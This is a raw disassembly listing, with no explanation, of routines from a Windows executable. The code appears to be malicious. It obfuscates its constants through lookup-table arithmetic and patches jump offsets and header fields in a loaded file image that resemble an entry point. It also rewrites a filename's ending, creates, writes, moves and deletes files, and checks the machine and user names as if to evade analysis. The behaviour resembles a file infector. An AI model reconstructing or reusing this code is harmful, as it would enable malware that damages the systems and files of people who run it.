		mov	edx, [eax+4]
		add	edx, eax
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_848]
		mov	eax, [eax+0A4h]
		mov	edx, [ebp+var_1178]
		add	edx, [ebp+var_42C]
		add	eax, edx
		cmp	[ebp+var_14], eax
		jb	loc_420698
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+28h]
		mov	[ebp+var_1188],	ecx
		mov	edx, [ebp+var_1060]
		mov	[eax+28h], edx
		cmp	[ebp+var_1180],	0
		jnz	short loc_420911
		add	eax, 60h
		mov	edx, [ebp+var_848]
		mov	edx, [edx+60h]
		add	[eax], edx
		mov	eax, [ebp+var_8]
		add	eax, 68h
		mov	edx, [ebp+var_848]
		mov	edx, [edx+68h]
		add	[eax], edx


loc_420911:				; CODE XREF: sub_41F8D9+1017j
		mov	eax, [ebp+var_8]
		movsx	edx, word ptr ds:10014098h
		add	edx, 8
		mov	[eax+44h], dx
		movsx	edx, word ptr ds:10014194h
		add	edx, ds:100141B0h
		sub	edx, 8
		mov	[eax+1Ah], dl
		mov	edx, ds:100141A4h
		movsx	ecx, word ptr ds:10014220h
		add	edx, ecx
		sub	edx, 3
		mov	[eax+46h], dx
		mov	eax, [ebp+var_117C]
		add	eax, [ebp+var_42C]
		mov	[ebp+var_31EE4], eax
		mov	eax, [ebp+var_117C]
		mov	edx, [ebp+var_31EE4]
		add	eax, [edx+1Ch]
		sub	eax, [ebp+var_1184]
		mov	[ebp+var_31EE8], eax
		add	eax, [ebp+var_42C]
		mov	[ebp+var_31EEC], eax
		mov	eax, [eax]
		mov	[ebp+var_1058],	eax
		movsx	eax, word ptr ds:100140F4h
		movsx	edx, word ptr ds:100140B8h
		add	eax, edx
		sub	eax, 10h
		mov	[ebp+var_24], eax
		jmp	short loc_4209E5
; ---------------------------------------------------------------------------


loc_4209A4:				; CODE XREF: sub_41F8D9+1112j
		mov	edi, [ebp+var_24]
		shl	edi, 2
		mov	edx, [ebp+edi+var_420]
		add	edx, [ebp+edi+var_83C]
		cmp	edx, [ebp+var_1058]
		jbe	short loc_4209E2
		mov	edi, [ebp+var_24]
		mov	edi, [ebp+edi*4+var_420]
		mov	[ebp+var_118C],	edi
		mov	edi, [ebp+var_24]
		mov	edi, [ebp+edi*4+var_C4C]
		mov	[ebp+var_1194],	edi
		jmp	short loc_4209ED
; ---------------------------------------------------------------------------


loc_4209E2:				; CODE XREF: sub_41F8D9+10E5j
		inc	[ebp+var_24]


loc_4209E5:				; CODE XREF: sub_41F8D9+10C9j
		mov	eax, [ebp+var_18]
		cmp	[ebp+var_24], eax
		jb	short loc_4209A4


loc_4209ED:				; CODE XREF: sub_41F8D9+1107j
		mov	eax, [ebp+var_8]
		mov	eax, [eax+34h]
		add	eax, [ebp+var_1194]
		add	eax, [ebp+var_1058]
		sub	eax, [ebp+var_118C]
		mov	[ebp+var_1190],	eax
		mov	eax, [ebp+var_848]
		mov	eax, [eax+34h]
		add	eax, [ebp+var_1058]
		mov	[ebp+var_1058],	eax
		mov	eax, [ebp+var_850]
		mov	[ebp+var_C], eax
		jmp	loc_420CA0
; ---------------------------------------------------------------------------


loc_420A2E:				; CODE XREF: sub_41F8D9+13D3j
		mov	eax, [ebp+var_C]
		mov	edx, [ebp+var_4]
		movzx	ecx, byte ptr [edx+eax]
		movsx	edi, word ptr ds:10014110h
		add	edi, 0E9h
		cmp	ecx, edi
		jnz	loc_420B5A
		movsx	ecx, word ptr ds:100141F0h
		add	ecx, ds:100140A8h
		sub	ecx, 5
		mov	edi, eax
		add	edi, ecx
		movzx	ecx, byte ptr [edx+edi]
		mov	edi, ds:100141E0h
		dec	edi
		cmp	ecx, edi
		jnz	loc_420B5A
		movsx	ecx, word ptr ds:10014114h
		add	ecx, ds:10014134h
		sub	ecx, 0Bh
		mov	edi, eax
		add	edi, ecx
		movzx	ecx, byte ptr [edx+edi]
		mov	edi, ds:100141E8h
		add	edi, ds:100140CCh
		sub	edi, 0Dh
		cmp	ecx, edi
		jnz	loc_420B5A
		mov	ecx, ds:10014240h
		add	ecx, 3
		mov	edi, eax
		add	edi, ecx
		movzx	ecx, byte ptr [edx+edi]
		mov	edi, ds:100140BCh
		sub	edi, 2
		cmp	ecx, edi
		jnz	loc_420B5A
		movsx	ecx, word ptr ds:10014130h
		add	ecx, 2
		add	eax, ecx
		movzx	eax, byte ptr [edx+eax]
		movsx	edx, word ptr ds:100141DCh
		sub	edx, 9
		cmp	eax, edx
		jnz	short loc_420B5A
		mov	eax, [ebp+var_8]
		mov	eax, [eax+34h]
		add	eax, [ebp+var_1060]
		mov	edx, [ebp+var_C]
		sub	edx, [ebp+var_850]
		add	eax, edx
		mov	[ebp+var_31F44], eax
		mov	eax, [ebp+var_8]
		mov	eax, [eax+34h]
		add	eax, [ebp+var_1188]
		mov	[ebp+var_31F48], eax
		mov	eax, ds:10014200h
		add	eax, 0FFFFFFF9h
		sub	eax, [ebp+var_31F44]
		add	eax, [ebp+var_31F48]
		mov	edx, ds:1001416Ch
		add	edx, 2
		sub	eax, edx
		mov	[ebp+var_31F4C], eax
		mov	edi, ds:10014178h
		add	edi, ds:10014198h
		mov	edx, [ebp+var_C]
		mov	ecx, ds:100141FCh
		sub	ecx, 3
		add	edx, ecx
		add	edx, [ebp+var_4]
		mov	ecx, eax
		mov	[edx+edi*4-38h], ecx


loc_420B5A:				; CODE XREF: sub_41F8D9+116Ej
					; sub_41F8D9+1195j ...
		mov	eax, [ebp+var_C]
		mov	edx, [ebp+var_4]
		mov	[ebp+var_31F44], edx
		mov	ecx, ds:10014170h
		movzx	edi, byte ptr [edx+eax]
		mov	edx, ds:100140C8h
		lea	edx, [ecx+edx+0E1h]
		cmp	edi, edx
		jnz	loc_420C9D
		mov	edx, ds:1001409Ch
		mov	ecx, eax
		add	ecx, edx
		mov	edx, [ebp+var_31F44]
		movzx	edx, byte ptr [edx+ecx]
		movsx	ecx, word ptr ds:10014130h
		sub	ecx, 2
		cmp	edx, ecx
		jnz	loc_420C9D
		mov	edx, ds:100140A4h
		add	edx, ds:100140DCh
		sub	edx, 7
		mov	ecx, eax
		add	ecx, edx
		mov	edx, [ebp+var_31F44]
		movzx	edx, byte ptr [edx+ecx]
		mov	ecx, ds:100141C4h
		dec	ecx
		cmp	edx, ecx
		jnz	loc_420C9D
		mov	edx, ds:10014124h
		movsx	ecx, word ptr ds:10014164h
		add	edx, ecx
		sub	edx, 3
		mov	ecx, eax
		add	ecx, edx
		mov	edx, [ebp+var_31F44]
		movzx	edx, byte ptr [edx+ecx]
		mov	ecx, ds:10014170h
		sub	ecx, 5
		cmp	edx, ecx
		jnz	loc_420C9D
		movsx	edx, word ptr ds:100140C4h
		sub	edx, 5
		add	eax, edx
		mov	edx, [ebp+var_31F44]
		movzx	eax, byte ptr [edx+eax]
		mov	edx, ds:1001409Ch
		dec	edx
		cmp	eax, edx
		jnz	short loc_420C9D
		mov	eax, [ebp+var_8]
		mov	eax, [eax+34h]
		add	eax, [ebp+var_1060]
		mov	edx, [ebp+var_C]
		sub	edx, [ebp+var_850]
		add	eax, edx
		mov	[ebp+var_31F48], eax
		mov	eax, [ebp+var_1190]
		mov	[ebp+var_31F4C], eax
		mov	eax, ds:100140F0h
		add	eax, 0FFFFFFFFh
		sub	eax, [ebp+var_31F48]
		add	eax, [ebp+var_31F4C]
		movsx	edx, word ptr ds:100140B8h
		sub	edx, 5
		sub	eax, edx
		mov	[ebp+var_31F50], eax
		movsx	edi, word ptr ds:10014164h
		mov	edx, [ebp+var_C]
		movsx	ecx, word ptr ds:1001412Ch
		add	ecx, ds:1001415Ch
		sub	ecx, 7
		add	edx, ecx
		add	edx, [ebp+var_4]
		mov	ecx, eax
		mov	[edx+edi*4-10h], ecx


loc_420C9D:				; CODE XREF: sub_41F8D9+12A6j
					; sub_41F8D9+12CCj ...
		inc	[ebp+var_C]


loc_420CA0:				; CODE XREF: sub_41F8D9+1150j
		mov	eax, [ebp+var_850]
		add	eax, 0Dh
		cmp	[ebp+var_C], eax
		jb	loc_420A2E
		push	[ebp+var_1070]
		call	dword ptr ds:1001282Ch
		push	[ebp+arg_0]
		lea	eax, [ebp+var_116F]
		push	eax
		call	dword ptr ds:100101A4h
		add	esp, 8
		lea	ecx, [ebp+var_116F]
		or	eax, 0FFFFFFFFh


loc_420CDA:				; CODE XREF: sub_41F8D9+1406j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_420CDA
		mov	[ebp+var_31ED8], eax
		mov	edx, ds:100140C0h
		movsx	ecx, word ptr ds:10014194h
		add	edx, ecx
		sub	edx, 0Ah
		sub	eax, edx
		mov	[ebp+eax+var_116F], 69h
		mov	eax, [ebp+var_31ED8]
		movsx	edx, word ptr ds:10014194h
		add	edx, ds:100141A4h
		sub	edx, 8
		sub	eax, edx
		mov	[ebp+eax+var_116F], 76h
		mov	eax, [ebp+var_31ED8]
		mov	edx, ds:10014094h
		add	edx, ds:10014170h
		sub	edx, 6
		sub	eax, edx
		mov	[ebp+eax+var_116F], 72h
		push	0
		mov	eax, ds:100140C0h
		sub	eax, 4
		push	eax
		push	2
		push	0
		movsx	eax, word ptr ds:10014090h
		add	eax, ds:100141CCh
		sub	eax, 6
		push	eax
		push	40000000h
		lea	eax, [ebp+var_116F]
		push	eax
		call	dword ptr ds:10013968h
		mov	[ebp+var_1070],	eax
		push	0
		lea	eax, [ebp+var_31EDC]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_1070]
		call	dword ptr ds:10013D6Ch
		push	[ebp+var_1070]
		call	dword ptr ds:1001282Ch
		push	[ebp+var_4]
		call	dword ptr ds:100105CCh
		push	0
		push	[ebp+arg_0]
		lea	eax, [ebp+var_116F]
		push	eax
		call	dword ptr ds:10011534h
		lea	eax, [ebp+var_116F]
		push	eax
		call	dword ptr ds:1000D008h
		mov	eax, 1
		jmp	short loc_420DE7
; ---------------------------------------------------------------------------


loc_420DD0:				; CODE XREF: sub_41F8D9+103j
					; sub_41F8D9+11Dj ...
		push	[ebp+var_1070]
		call	dword ptr ds:1001282Ch
		push	[ebp+var_4]
		call	dword ptr ds:100105CCh
		xor	eax, eax


loc_420DE7:				; CODE XREF: sub_41F8D9+9Fj
					; sub_41F8D9+14F5j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F8D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420DEC	proc near		; CODE XREF: .data:0041A7E0p

var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_1FE		= byte ptr -1FEh
var_105		= byte ptr -105h
var_FF		= byte ptr -0FFh

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		call	sub_41B366
		or	eax, eax
		jz	loc_421014
		mov	[ebp+var_204], 0FFh
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_FF]
		push	eax
		call	dword ptr ds:100105A0h
		mov	eax, ds:10014118h
		movsx	eax, [ebp+eax+var_105]
		mov	edx, ds:100140E0h
		sub	edx, 2
		cmp	eax, edx
		jnz	short loc_420E45
		xor	eax, eax
		inc	eax
		jmp	loc_421014
; ---------------------------------------------------------------------------


loc_420E45:				; CODE XREF: sub_420DEC+4Fj
		push	1001529Fh
		call	sub_41B08F
		mov	edx, ds:10014158h
		add	edx, ds:10014118h
		sub	edx, 0Dh
		push	edx
		push	eax
		lea	edx, [ebp+var_FF]
		push	edx
		call	sub_4251A5
		add	esp, 10h
		movsx	ecx, word ptr ds:10014204h
		add	ecx, 0FFF9h
		cmp	eax, ecx
		jz	short loc_420E88
		xor	eax, eax
		inc	eax
		jmp	loc_421014
; ---------------------------------------------------------------------------


loc_420E88:				; CODE XREF: sub_420DEC+92j
		push	10015293h
		call	sub_41B08F
		mov	edx, ds:10014168h
		sub	edx, 8
		push	edx
		push	eax
		lea	edx, [ebp+var_FF]
		push	edx
		call	sub_4251A5
		add	esp, 10h
		mov	edx, eax
		movsx	ecx, word ptr ds:100140F4h
		movsx	eax, word ptr ds:10014164h
		lea	ecx, [ecx+eax+0FFF4h]
		cmp	edx, ecx
		jz	short loc_420ECF
		xor	eax, eax
		inc	eax
		jmp	loc_421014
; ---------------------------------------------------------------------------


loc_420ECF:				; CODE XREF: sub_420DEC+D9j
		mov	[ebp+var_208], 0FFh
		lea	eax, [ebp+var_208]
		push	eax
		lea	eax, [ebp+var_1FE]
		push	eax
		call	dword ptr ds:1000D038h
		push	1001528Eh
		call	sub_41B08F
		push	eax
		lea	edx, [ebp+var_1FE]
		push	edx
		call	dword ptr ds:1000D024h
		mov	eax, ds:1001414Ch
		sub	eax, 7
		push	eax
		lea	eax, [ebp+var_FF]
		push	eax
		lea	eax, [ebp+var_1FE]
		push	eax
		call	sub_4251A5
		add	esp, 18h
		mov	edx, ds:100141D4h
		add	edx, 0FFFAh
		cmp	eax, edx
		jz	short loc_420F3C
		xor	eax, eax
		inc	eax
		jmp	loc_421014
; ---------------------------------------------------------------------------


loc_420F3C:				; CODE XREF: sub_420DEC+146j
		call	dword ptr ds:10013800h
		mov	esi, eax
		mov	edi, esi
		xor	ebx, ebx


loc_420F48:				; CODE XREF: sub_420DEC+211j
		mov	eax, ds:100141F8h
		sub	eax, 6
		movzx	eax, byte ptr [edi+eax]
		mov	edx, ds:10014100h
		sub	edx, 7
		cmp	eax, edx
		jz	loc_421002
		mov	ecx, edi
		or	eax, 0FFFFFFFFh


loc_420F6A:				; CODE XREF: sub_420DEC+183j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_420F6A
		mov	[ebp+var_20C], eax
		push	10015284h
		call	sub_41B08F
		add	esp, 4
		movsx	edx, word ptr ds:100140B4h
		sub	edx, 3
		push	edx
		push	eax
		push	edi
		call	sub_4251A5
		add	esp, 0Ch
		mov	ecx, ds:100141F4h
		add	ecx, 0FFFCh
		cmp	eax, ecx
		jz	short loc_420FB0
		mov	ebx, 1
		jmp	short loc_421002
; ---------------------------------------------------------------------------


loc_420FB0:				; CODE XREF: sub_420DEC+1BBj
		push	10015273h
		call	sub_41B08F
		mov	edx, ds:10014170h
		add	edx, ds:100141ACh
		sub	edx, 9
		push	edx
		push	eax
		push	edi
		call	sub_4251A5
		add	esp, 10h
		mov	ecx, ds:100141D4h
		add	ecx, 0FFFAh
		cmp	eax, ecx
		jz	short loc_420FE9
		xor	ebx, ebx
		inc	ebx
		jmp	short loc_421002
; ---------------------------------------------------------------------------


loc_420FE9:				; CODE XREF: sub_420DEC+1F6j
		mov	eax, ds:10014234h
		sub	eax, 2
		mov	edx, [ebp+var_20C]
		add	edx, edi
		mov	edi, eax
		add	edi, edx
		jmp	loc_420F48
; ---------------------------------------------------------------------------


loc_421002:				; CODE XREF: sub_420DEC+173j
					; sub_420DEC+1C2j ...
		push	esi
		call	dword ptr ds:10012828h
		or	ebx, ebx
		jz	short loc_421012
		xor	eax, eax
		inc	eax
		jmp	short loc_421014
; ---------------------------------------------------------------------------


loc_421012:				; CODE XREF: sub_420DEC+21Fj
		xor	eax, eax


loc_421014:				; CODE XREF: sub_420DEC+13j
					; sub_420DEC+54j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420DEC	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+10h]
		push	10015CC4h
		push	esi
		call	dword ptr ds:10013824h
		or	eax, eax
		jz	short loc_421045
		mov	eax, [ebp+8]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_42108D
; ---------------------------------------------------------------------------


loc_421045:				; CODE XREF: .data:00421033j
		push	10015C34h
		push	esi
		call	dword ptr ds:10013824h
		or	eax, eax
		jz	short loc_421065
		mov	eax, [ebp+8]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_42108D
; ---------------------------------------------------------------------------


loc_421065:				; CODE XREF: .data:00421053j
		push	10015BF4h
		push	esi
		call	dword ptr ds:10013824h
		or	eax, eax
		jz	short loc_421085
		mov	eax, [ebp+8]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_42108D
; ---------------------------------------------------------------------------


loc_421085:				; CODE XREF: .data:00421073j
		and	dword ptr [edi], 0
		mov	eax, 80004002h


loc_42108D:				; CODE XREF: .data:00421043j
					; .data:00421063j ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, ds:100140ACh
		add	eax, ds:1001422Ch
		sub	eax, 9
		cmp	ds:100105B8h, eax
		jbe	short loc_4210B8
		push	100105B8h
		call	dword ptr ds:1000D010h


loc_4210B8:				; CODE XREF: .data:004210ABj
		mov	eax, ds:100105B8h
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4210C1	proc near		; CODE XREF: sub_41E931+238p
					; sub_41EF87+304p ...

var_120A	= byte ptr -120Ah
var_110B	= byte ptr -110Bh
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_FFF		= byte ptr -0FFFh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 120Ch
		call	sub_425D5D
		push	ebx
		push	esi
		push	edi
		push	10014E44h
		call	sub_41B08F
		push	eax
		lea	edi, [ebp+var_FFF]
		push	edi
		call	dword ptr ds:10013810h
		add	esp, 0Ch
		mov	esi, ds:100141A0h
		jmp	short loc_421114
; ---------------------------------------------------------------------------


loc_4210F4:				; CODE XREF: sub_4210C1+59j
		cmp	[ebp+esi+var_FFF], 23h
		jnz	short loc_421113
		mov	eax, ds:10014150h
		add	eax, ds:100141B0h
		sub	eax, 9
		mov	[ebp+esi+var_FFF], al


loc_421113:				; CODE XREF: sub_4210C1+3Bj
		inc	esi


loc_421114:				; CODE XREF: sub_4210C1+31j
		cmp	esi, 0FFFh
		jb	short loc_4210F4
		movsx	eax, word ptr ds:10014128h
		add	eax, ds:100141D8h
		sub	eax, 8
		mov	[ebp+var_1004],	eax
		mov	ebx, ds:100141E0h
		dec	ebx
		cmp	[ebp+arg_0], 0
		jnz	short loc_42119E


loc_42113F:				; CODE XREF: sub_4210C1+DBj
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_1004],	eax
		jnz	short loc_421161
		lea	eax, [ebp+ebx+var_FFF]
		push	eax
		push	10013850h
		call	sub_425D7D
		jmp	loc_4213E7
; ---------------------------------------------------------------------------


loc_421161:				; CODE XREF: sub_4210C1+87j
		lea	ecx, [ebp+ebx+var_FFF]
		or	eax, 0FFFFFFFFh


loc_42116B:				; CODE XREF: sub_4210C1+AFj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_42116B
		add	ebx, eax
		add	ebx, 1
		inc	[ebp+var_1004]
		movsx	eax, [ebp+ebx+var_FFF]
		mov	edx, ds:100141BCh
		add	edx, ds:100140CCh
		sub	edx, 9
		cmp	eax, edx
		jz	loc_4213E7
		jmp	short loc_42113F
; ---------------------------------------------------------------------------


loc_42119E:				; CODE XREF: sub_4210C1+7Cj
		mov	eax, ds:1001431Ch
		mov	[ebp+var_1008],	eax
		movsx	eax, word ptr ds:10014148h
		mov	edx, [ebp+arg_0]
		mov	ecx, ds:100140D8h
		add	ecx, ds:100140F0h
		sub	ecx, 5
		mov	[edx+eax], cl
		movsx	ebx, word ptr ds:10014204h
		sub	ebx, 6
		mov	eax, ds:100140C0h
		add	eax, ds:1001413Ch
		sub	eax, 0Ch
		mov	[ebp+var_1004],	eax


loc_4211E3:				; CODE XREF: sub_4210C1+2FEj
		push	10014E39h
		call	sub_41B08F
		push	eax
		lea	edi, [ebp+var_110B]
		push	edi
		call	sub_425D7D
		lea	eax, [ebp+ebx+var_FFF]
		push	eax
		lea	eax, [ebp+var_110B]
		push	eax
		call	dword ptr ds:1000D024h
		add	esp, 0Ch
		call	dword ptr ds:10013D90h
		mov	ecx, 14h
		cdq
		idiv	ecx
		mov	[ebp+var_100C],	edx
		mov	eax, ds:100141BCh
		add	eax, ds:1001409Ch
		sub	eax, 2
		cmp	edx, eax
		jnb	loc_421311
		push	[ebp+var_1008]
		lea	eax, [ebp+var_120A]
		push	eax
		call	sub_423599
		push	dword ptr ds:1001418Ch
		lea	eax, [ebp+var_110B]
		push	eax
		push	[ebp+arg_0]
		call	sub_4251A5
		add	esp, 14h
		mov	edi, ds:100141E4h
		add	edi, 0FFFEh
		cmp	eax, edi
		jnz	short loc_42129D
		lea	eax, [ebp+var_110B]
		push	eax
		push	[ebp+arg_0]
		call	dword ptr ds:1000D024h
		push	10014E34h
		call	sub_41B08F
		push	eax
		push	[ebp+arg_0]
		call	dword ptr ds:1000D024h
		add	esp, 14h


loc_42129D:				; CODE XREF: sub_4210C1+1B3j
		movsx	eax, word ptr ds:10014220h
		add	eax, ds:10014208h
		sub	eax, 0Ch
		push	eax
		lea	eax, [ebp+var_120A]
		push	eax
		push	[ebp+arg_0]
		call	sub_4251A5
		add	esp, 0Ch
		mov	edi, ds:100140C8h
		add	edi, 0FFFDh
		cmp	eax, edi
		jnz	short loc_42130B
		push	10014E29h
		call	sub_41B08F
		push	eax
		push	[ebp+arg_0]
		call	dword ptr ds:1000D024h
		lea	eax, [ebp+var_120A]
		push	eax
		push	[ebp+arg_0]
		call	dword ptr ds:1000D024h
		push	10014E24h
		call	sub_41B08F
		push	eax
		push	[ebp+arg_0]
		call	dword ptr ds:1000D024h
		add	esp, 20h


loc_42130B:				; CODE XREF: sub_4210C1+20Dj
		inc	[ebp+var_1008]


loc_421311:				; CODE XREF: sub_4210C1+175j
		push	[ebp+var_1004]
		call	sub_42491B
		pop	ecx
		mov	[ebp+var_100C],	eax
		mov	eax, ds:10014108h
		movsx	edx, word ptr ds:100140F4h
		add	eax, edx
		sub	eax, 0Eh
		cmp	[ebp+var_100C],	eax
		jnb	short loc_421390
		movsx	eax, word ptr ds:10014160h
		sub	eax, 5
		push	eax
		lea	eax, [ebp+var_110B]
		push	eax
		push	[ebp+arg_0]
		call	sub_4251A5
		add	esp, 0Ch
		mov	edi, ds:100141A0h
		add	edi, 0FFFFh
		cmp	eax, edi
		jnz	short loc_421390
		lea	eax, [ebp+var_110B]
		push	eax
		push	[ebp+arg_0]
		call	dword ptr ds:1000D024h
		push	10014E1Fh
		call	sub_41B08F
		push	eax
		push	[ebp+arg_0]
		call	dword ptr ds:1000D024h
		add	esp, 14h


loc_421390:				; CODE XREF: sub_4210C1+279j
					; sub_4210C1+2A6j
		lea	ecx, [ebp+ebx+var_FFF]
		or	eax, 0FFFFFFFFh


loc_42139A:				; CODE XREF: sub_4210C1+2DEj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_42139A
		add	ebx, eax
		add	ebx, 1
		inc	[ebp+var_1004]
		movsx	eax, [ebp+ebx+var_FFF]
		mov	edx, ds:100140ACh
		sub	edx, 5
		cmp	eax, edx
		jnz	loc_4211E3
		push	10014E1Ah
		call	sub_41B08F
		push	eax
		push	[ebp+arg_0]
		call	dword ptr ds:1000D024h
		add	esp, 0Ch
		mov	eax, [ebp+var_1008]
		mov	ds:1001431Ch, eax


loc_4213E7:				; CODE XREF: sub_4210C1+9Bj
					; sub_4210C1+D5j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4210C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4213EC	proc near		; CODE XREF: sub_41EF87+125p

var_104		= byte ptr -104h
var_FF		= byte ptr -0FFh

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	esi
		push	edi
		push	0
		push	dword ptr ds:100140DCh
		push	3
		push	0
		mov	eax, ds:100140D8h
		sub	eax, 5
		push	eax
		push	80000000h
		push	10011220h
		call	dword ptr ds:10013968h
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_42142A
		mov	eax, 2Ah
		jmp	short loc_42148D
; ---------------------------------------------------------------------------


loc_42142A:				; CODE XREF: sub_4213EC+35j
		push	0
		lea	eax, [ebp+var_104]
		push	eax
		push	0FFh
		lea	eax, [ebp+var_FF]
		push	eax
		push	edi
		call	dword ptr ds:1000D02Ch
		mov	esi, eax
		push	edi
		call	dword ptr ds:1001282Ch
		mov	eax, ds:100141A8h
		movsx	edx, word ptr ds:10014110h
		add	eax, edx
		sub	eax, 8
		cmp	esi, eax
		jnz	short loc_42146B
		mov	eax, 2Ah
		jmp	short loc_42148D
; ---------------------------------------------------------------------------


loc_42146B:				; CODE XREF: sub_4213EC+76j
		movzx	eax, [ebp+var_FF]
		mov	edx, ds:100140A4h
		add	edx, 18h
		cmp	eax, edx
		jge	short loc_421486
		mov	eax, 2Ah
		jmp	short loc_42148D
; ---------------------------------------------------------------------------


loc_421486:				; CODE XREF: sub_4213EC+91j
		movzx	eax, [ebp+var_FF]


loc_42148D:				; CODE XREF: sub_4213EC+3Cj
					; sub_4213EC+7Dj ...
		pop	edi
		pop	esi
		leave
		retn
sub_4213EC	endp

; ---------------------------------------------------------------------------
		mov	eax, 80004001h
		retn	8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421499	proc near		; CODE XREF: sub_41F8D9+379p
					; sub_41F8D9+483p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		div	esi
		movsx	edi, word ptr ds:10014128h
		sub	edi, 5
		cmp	edx, edi
		jnz	short loc_4214BE
		mov	eax, [ebp+arg_0]
		jmp	short loc_4214D8
; ---------------------------------------------------------------------------


loc_4214BE:				; CODE XREF: sub_421499+1Ej
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		div	esi
		mov	[ebp+var_8], eax
		mov	edi, eax
		mul	esi
		mov	[ebp+var_C], eax
		mov	edi, eax
		add	edi, esi
		mov	[ebp+var_4], edi
		mov	eax, edi


loc_4214D8:				; CODE XREF: sub_421499+23j
		pop	edi
		pop	esi
		leave
		retn
sub_421499	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4214DC	proc near		; CODE XREF: sub_41EF87+357p
					; sub_41EF87+3E5p

var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		push	0
		push	80h
		push	4
		push	0
		mov	eax, ds:1001422Ch
		sub	eax, 4
		push	eax
		push	40000000h
		push	10011220h
		call	dword ptr ds:10013968h
		mov	edi, eax
		push	0
		push	0
		push	[ebp+arg_4]
		push	edi
		call	dword ptr ds:10013D80h
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh


loc_42151F:				; CODE XREF: sub_4214DC+48j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_42151F
		mov	esi, eax
		push	0
		lea	ebx, [ebp+var_4]
		push	ebx
		push	esi
		push	[ebp+arg_0]
		push	edi
		call	dword ptr ds:10013D6Ch
		push	edi
		call	dword ptr ds:1001282Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4214DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421545	proc near		; CODE XREF: .data:0041BB16p

var_71F16	= byte ptr -71F16h
var_71F10	= dword	ptr -71F10h
var_71F0C	= dword	ptr -71F0Ch
var_71F07	= byte ptr -71F07h
var_70F08	= word ptr -70F08h
var_70F00	= dword	ptr -70F00h
var_70EF8	= dword	ptr -70EF8h
var_70EF4	= dword	ptr -70EF4h
var_70EF0	= byte ptr -70EF0h
var_70EEF	= byte ptr -70EEFh
var_60EF0	= word ptr -60EF0h
var_60EE8	= dword	ptr -60EE8h
var_60EDD	= byte ptr -60EDDh
var_60EDC	= dword	ptr -60EDCh
var_60ED8	= dword	ptr -60ED8h
var_60ED4	= dword	ptr -60ED4h
var_60ED0	= word ptr -60ED0h
var_60EC8	= dword	ptr -60EC8h
var_60EC0	= dword	ptr -60EC0h
var_60EBC	= dword	ptr -60EBCh
var_60EB8	= dword	ptr -60EB8h
var_60EB4	= dword	ptr -60EB4h
var_60EB0	= dword	ptr -60EB0h
var_60EAC	= dword	ptr -60EACh
var_60EA8	= dword	ptr -60EA8h
var_60EA4	= dword	ptr -60EA4h
var_60E9F	= byte ptr -60E9Fh
var_50EA4	= byte ptr -50EA4h
var_50EA0	= dword	ptr -50EA0h
var_50E9B	= byte ptr -50E9Bh
var_40EB8	= byte ptr -40EB8h
var_40EB0	= dword	ptr -40EB0h
var_40EA8	= word ptr -40EA8h
var_40EA0	= dword	ptr -40EA0h
var_40E9C	= dword	ptr -40E9Ch
var_40E98	= dword	ptr -40E98h
var_40E94	= byte ptr -40E94h
var_40E90	= dword	ptr -40E90h
var_40E8C	= dword	ptr -40E8Ch
var_40E88	= dword	ptr -40E88h
var_40E84	= dword	ptr -40E84h
var_40E80	= byte ptr -40E80h
var_40E78	= dword	ptr -40E78h
var_40E70	= dword	ptr -40E70h
var_40E6C	= dword	ptr -40E6Ch
var_40E68	= dword	ptr -40E68h
var_40E64	= dword	ptr -40E64h
